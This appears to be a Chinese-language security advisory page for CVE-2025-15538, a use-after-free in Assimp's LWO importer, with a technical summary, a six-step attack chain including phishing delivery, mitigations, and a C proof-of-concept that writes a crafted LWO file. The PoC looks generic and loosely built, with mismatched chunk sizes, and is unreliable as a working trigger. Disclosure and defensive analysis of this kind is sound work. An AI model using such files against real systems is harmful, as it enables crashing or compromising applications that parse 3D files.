IPBUF安全漏洞报告
English
CVE-2025-15538 CVSS 5.3 中危

CVE-2025-15538: Assimp LWOImporter FindUVChannels 释放后重用漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2025-15538
漏洞类型
释放后重用(Use-After-Free)
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open Asset Import Library (Assimp)

相关标签

Use-After-Free释放后重用AssimpLWOImporter内存损坏本地攻击CVE-2025-155383D文件解析LWO格式FindUVChannels

漏洞概述

CVE-2025-15538是Open Asset Import Library (Assimp) 6.0.2及以下版本中的一个安全漏洞。该漏洞位于Assimp::LWOImporter::FindUVChannels函数中,位于文件/src/assimp/code/AssetLib/LWO/LWOMaterial.cpp。由于函数在处理LWO格式文件时存在内存管理错误,导致释放后的内存被继续访问,从而产生Use-After-Free漏洞。攻击者可以通过精心构造恶意LWO文件,触发该漏洞并在特定条件下实现代码执行或信息泄露。该漏洞具有本地攻击向量,需要低权限即可利用,无需用户交互。漏洞已公开披露,相关的PoC(概念验证代码)已在互联网公开,GitHub上存在issue #6128跟踪类似缺陷。由于Assimp是一个广泛使用的3D模型导入库,该漏洞可能影响多个使用该库进行3D文件处理的应用软件。CVSS 3.1评分为5.3,属于中等严重程度,主要影响系统的机密性、完整性和可用性。

技术细节

该漏洞属于Use-After-Free(UAF)类型,是一种内存损坏漏洞。在Assimp::LWOImporter::FindUVChannels函数处理LWO(LightWave 3D对象)文件格式时,函数在释放某块内存后,未正确更新相关指针或更新指针状态,导致后续代码继续引用已释放的内存区域。攻击者可以通过构造包含特殊数据的LWO文件,在文件解析过程中触发内存释放,然后通过特定的文件结构使程序再次访问已释放的内存。当程序访问已释放的内存时,可能导致:1)信息泄露,攻击者读取其他内存数据;2)程序崩溃,造成拒绝服务;3)在特定条件下配合堆布局控制,可能实现任意代码执行。该漏洞的利用需要攻击者能够诱使目标系统打开恶意LWO文件,攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。修复该漏洞需要修正LWOImporter中的内存管理逻辑,确保在释放内存后不再访问相关指针,或使用智能指针等现代C++内存管理技术来避免此类问题。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者收集目标系统信息,确认其使用Assimp库处理3D文件,并识别Assimp版本(需6.0.2或以下版本)
STEP 2
步骤2:构造恶意LWO文件
攻击者精心构造包含特殊数据的LWO格式文件,通过在TAGS、SURF、TMAP等chunk中嵌入特定数据,触发FindUVChannels函数中的内存释放后重用条件
STEP 3
步骤3:投递恶意文件
攻击者通过钓鱼邮件、恶意网站下载、共享文件夹等方式将恶意LWO文件传递给目标用户
STEP 4
步骤4:诱导打开文件
目标用户使用安装了Assimp的应用程序(如3D查看器、游戏引擎、建模软件)打开恶意LWO文件
STEP 5
步骤5:触发漏洞
Assimp的LWOImporter::FindUVChannels函数在解析文件时,执行到释放内存的操作,但由于代码缺陷,指针未被正确清零或更新
STEP 6
步骤6:Use-After-Free利用
后续代码继续访问已释放的内存区域,攻击者可利用此条件读取敏感信息、导致程序崩溃或(在特定条件下)执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-15538: Assimp Use-After-Free in LWOImporter // This PoC creates a malicious LWO file to trigger the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> // LWO file format structures typedef struct { char id[4]; int size; } LWO_CHUNK_HEADER; void create_malicious_lwo(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { printf("Failed to create file\n"); return; } // LWO format header fprintf(fp, "FORM"); fwrite("\x00\x00\x10\x00", 4, 1, fp); // Form size fprintf(fp, "LWO2"); // Crafted tags to trigger FindUVChannels vulnerability // The specific payload structure depends on assimp version fprintf(fp, "TAGS"); int tag_size = 0x100; // Large size to trigger memory issue fwrite(&tag_size, 4, 1, fp); // Fill with crafted data for (int i = 0; i < tag_size; i++) { fputc(0x41, fp); // Fill with 'A' } // Crafted SURF chunk fprintf(fp, "SURF"); int surf_size = 0x200; fwrite(&surf_size, 4, 1, fp); fprintf(fp, "BLOK"); int blok_size = 0x180; fwrite(&blok_size, 4, 1, fp); // UV channel data that triggers the UAF fprintf(fp, "TMAP"); fprintf(fp, "CHAN"); fwrite("TXUV", 4, 1, fp); fclose(fp); printf("Malicious LWO file created: %s\n", filename); } int main() { create_malicious_lwo("CVE-2025-15538_poc.lwo"); printf("PoC for CVE-2025-15538 generated\n"); printf("Use assimp to open this file to trigger the vulnerability\n"); return 0; }

影响范围

Assimp < 6.0.2
Assimp 6.0.2及以下所有版本
Open Asset Import Library (Assimp) up to 6.0.2

防御指南

临时缓解措施
在官方修复发布之前,可以采取以下临时缓解措施:1)限制或禁止从未知来源导入LWO格式文件;2)使用文件类型白名单机制,仅允许受信任的3D文件格式;3)对所有LWO文件进行预扫描和安全检测;4)在Web应用或文件处理服务中,将Assimp的解析功能隔离在沙箱或容器环境中运行;5)监控系统调用和内存访问行为,及时发现异常;6)考虑使用文件上传前的格式验证工具检测潜在的恶意文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表